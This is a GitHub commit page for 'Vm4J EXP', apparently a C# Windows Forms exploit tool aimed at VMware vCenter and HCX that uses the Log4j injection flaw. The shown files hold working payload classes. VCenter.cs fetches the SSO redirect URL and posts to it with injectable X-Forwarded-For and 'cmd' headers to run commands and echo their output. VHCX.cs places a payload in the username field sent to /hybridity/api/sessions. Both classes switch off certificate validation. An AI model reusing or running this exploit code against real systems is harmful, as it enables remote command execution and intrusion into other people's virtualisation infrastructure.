Skip to content

Commit

Permalink
First commit
Browse files Browse the repository at this point in the history
  • Loading branch information
NS-Sp4ce committed Dec 28, 2021
1 parent 112e47a commit e2a3eba
Show file tree
Hide file tree
Showing 59 changed files with 2,554 additions and 0 deletions.
25 changes: 25 additions & 0 deletions Csharp/Vm4J EXP.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.32002.261
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Vm4J EXP", "WindowsFormsApp1\Vm4J EXP.csproj", "{09956173-11CF-4D53-8F0A-5A40223FEC6E}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{09956173-11CF-4D53-8F0A-5A40223FEC6E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{09956173-11CF-4D53-8F0A-5A40223FEC6E}.Debug|Any CPU.Build.0 = Debug|Any CPU
{09956173-11CF-4D53-8F0A-5A40223FEC6E}.Release|Any CPU.ActiveCfg = Release|Any CPU
{09956173-11CF-4D53-8F0A-5A40223FEC6E}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {50E99E17-C529-4B98-A099-BDA855360249}
EndGlobalSection
EndGlobal
6 changes: 6 additions & 0 deletions Csharp/WindowsFormsApp1/App.config
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>

<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5"/></startup>
</configuration>
154 changes: 154 additions & 0 deletions Csharp/WindowsFormsApp1/ExecPayload/VCenter.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,154 @@
using System;
using System.IO;
using System.Net;
using System.Text;

namespace Vm4j_exp.ExecPayload
{
class VCenter
{
private static string redircetUrl, ssoDomain;
private static string UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";
private static int Timeout = 10000;
public static string GetRedirctUrl(string url)
{
Log log = new Log();
//get redirectUrl
try
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url.EndsWith("/") ? url + "ui/login" : url + "/ui/login");
//System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080);
//request.Proxy = proxy;
request.AllowAutoRedirect = false;
request.UserAgent = UserAgent;
request.KeepAlive = false;
request.Accept = "*/*";
request.Timeout = Timeout;
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
if (response.StatusCode == HttpStatusCode.Redirect || response.StatusCode == HttpStatusCode.MovedPermanently)
{
redircetUrl = response.Headers["Location"];
string _ssoDomain = redircetUrl.Split('?')[0];
string[] str = _ssoDomain.Split('/');
ssoDomain = str[str.Length - 1];
log.LogSuccess("Get redirect URL Success");
log.LogInfo("SSOdomain =>" + ssoDomain);
}
response.Close();
return redircetUrl;
}
catch (Exception e)
{
log.LogError("Get Error:" + e);
return null;
}
}
public static string VCenterEcho(string url, string cmd, string xffHeader)
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
ServicePointManager.Expect100Continue = false;
Log log = new Log();
string redirectUrl = GetRedirctUrl(url);
string postdata = "CastleAuthorization=Basic%20dm00ajp2bTRq";
if (redirectUrl == null)
{
log.LogError("Get Redirect URL failed.");
return null;
}
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(redirectUrl);
//System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080);
//request.Proxy = proxy;
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
request.UserAgent = UserAgent;
request.KeepAlive = false;
request.Accept = "*/*";
request.Timeout = Timeout;
request.Headers.Add("X-Forwarded-For", xffHeader);
request.Headers.Add("cmd", cmd);
byte[] data = Encoding.UTF8.GetBytes(postdata);
request.ContentLength = data.Length;
//request.ProtocolVersion = HttpVersion.Version10;
using (Stream reqStream = request.GetRequestStream())
{
reqStream.Write(data, 0, data.Length);
}
StringBuilder sb = new StringBuilder();
using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse())
{
using (StreamReader reader = new StreamReader(resp.GetResponseStream(), Encoding.UTF8))
{
try
{
while (!reader.EndOfStream)
{
sb.Append((char)reader.Read());
}
}
catch (IOException e)
{
log.LogError("Get Error:" + e.Message);
}
}
}
string result = sb.ToString();
return result;
}
catch (Exception e)
{
log.LogError("Get Error:" + e.Message);
return "false";
}
}
public static string VCenterExec(string url, string xffHeader)
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
ServicePointManager.Expect100Continue = false;
Log log = new Log();
string redirectUrl = GetRedirctUrl(url);
string postdata = "CastleAuthorization=Basic%20dm00ajp2bTRq";
if (redirectUrl == null)
{
log.LogError("Get Redirect URL failed.");
return null;
}
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(redirectUrl);
//System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080);
//request.Proxy = proxy;
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
request.UserAgent = UserAgent;
request.KeepAlive = false;
request.Accept = "*/*";
request.Timeout = Timeout;
request.Headers.Add("X-Forwarded-For", xffHeader);
byte[] data = Encoding.UTF8.GetBytes(postdata);
request.ContentLength = data.Length;
//request.ProtocolVersion = HttpVersion.Version10;
using (Stream reqStream = request.GetRequestStream())
{
reqStream.Write(data, 0, data.Length);
}
StringBuilder sb = new StringBuilder();
using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse())
{
return "true";
}

}
catch (Exception e)
{
log.LogError("Get Error:" + e.Message);
return "false";
}
}
}
}
111 changes: 111 additions & 0 deletions Csharp/WindowsFormsApp1/ExecPayload/VHCX.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,111 @@
using System;
using System.IO;
using System.Net;
using System.Text;


namespace Vm4j_exp.ExecPayload
{
class VHCX
{
private static string UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";
private static int Timeout = 10000;
public static string VHCXEcho(string url, string cmd, string payload)
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
ServicePointManager.Expect100Continue = false;
Log log = new Log();
string postdata = "{\"authType\": \"password\",\"username\": \"" + payload + "\",\"password\": \"vm4j\"}";
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url.EndsWith("/") ? url + "hybridity/api/sessions" : url + "/hybridity/api/sessions");
#if DEBUG
System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080);
request.Proxy = proxy;
#else
request.Proxy = null;
#endif
request.Method = "POST";
request.ContentType = "application/json; charset=UTF-8";
request.UserAgent = UserAgent;
request.KeepAlive = false;
request.Accept = "*/*";
request.Timeout = Timeout;
request.Headers.Add("cmd", cmd);
byte[] data = Encoding.UTF8.GetBytes(postdata);
request.ContentLength = data.Length;
using (Stream reqStream = request.GetRequestStream())
{
reqStream.Write(data, 0, data.Length);
}
StringBuilder sb = new StringBuilder();
using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse())
{
using (StreamReader reader = new StreamReader(resp.GetResponseStream(), Encoding.UTF8))
{
try
{
while (!reader.EndOfStream)
{
sb.Append((char)reader.Read());
}
}
catch (IOException e)
{
log.LogError("Get Error:" + e.Message);
}
}
}
string result = sb.ToString();
return result;
}
catch (Exception e)
{
log.LogError("Get Error:" + e.Message);
return "false";
}
}
public static string VHCXExec(string url, string payload)
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
ServicePointManager.Expect100Continue = false;
Log log = new Log();
string postdata = "{\"authType\": \"password\",\"username\": \"" + payload + "\",\"password\": \"vm4j\"}";
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url.EndsWith("/") ? url + "hybridity/api/sessions" : url + "/hybridity/api/sessions");
#if DEBUG
System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080);
request.Proxy = proxy;
#else
request.Proxy = null;
#endif
request.Method = "POST";
request.ContentType = "application/json; charset=UTF-8";
request.UserAgent = UserAgent;
request.KeepAlive = false;
request.Accept = "*/*";
request.Timeout = Timeout;
byte[] data = Encoding.UTF8.GetBytes(postdata);
request.ContentLength = data.Length;
using (Stream reqStream = request.GetRequestStream())
{
reqStream.Write(data, 0, data.Length);
}
StringBuilder sb = new StringBuilder();
using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse())
{
return "true";
}

}
catch (Exception e)
{
log.LogError("Get Error:" + e.Message);
return "false";
}
}
}
}
Loading

0 comments on commit e2a3eba

Please sign in to comment.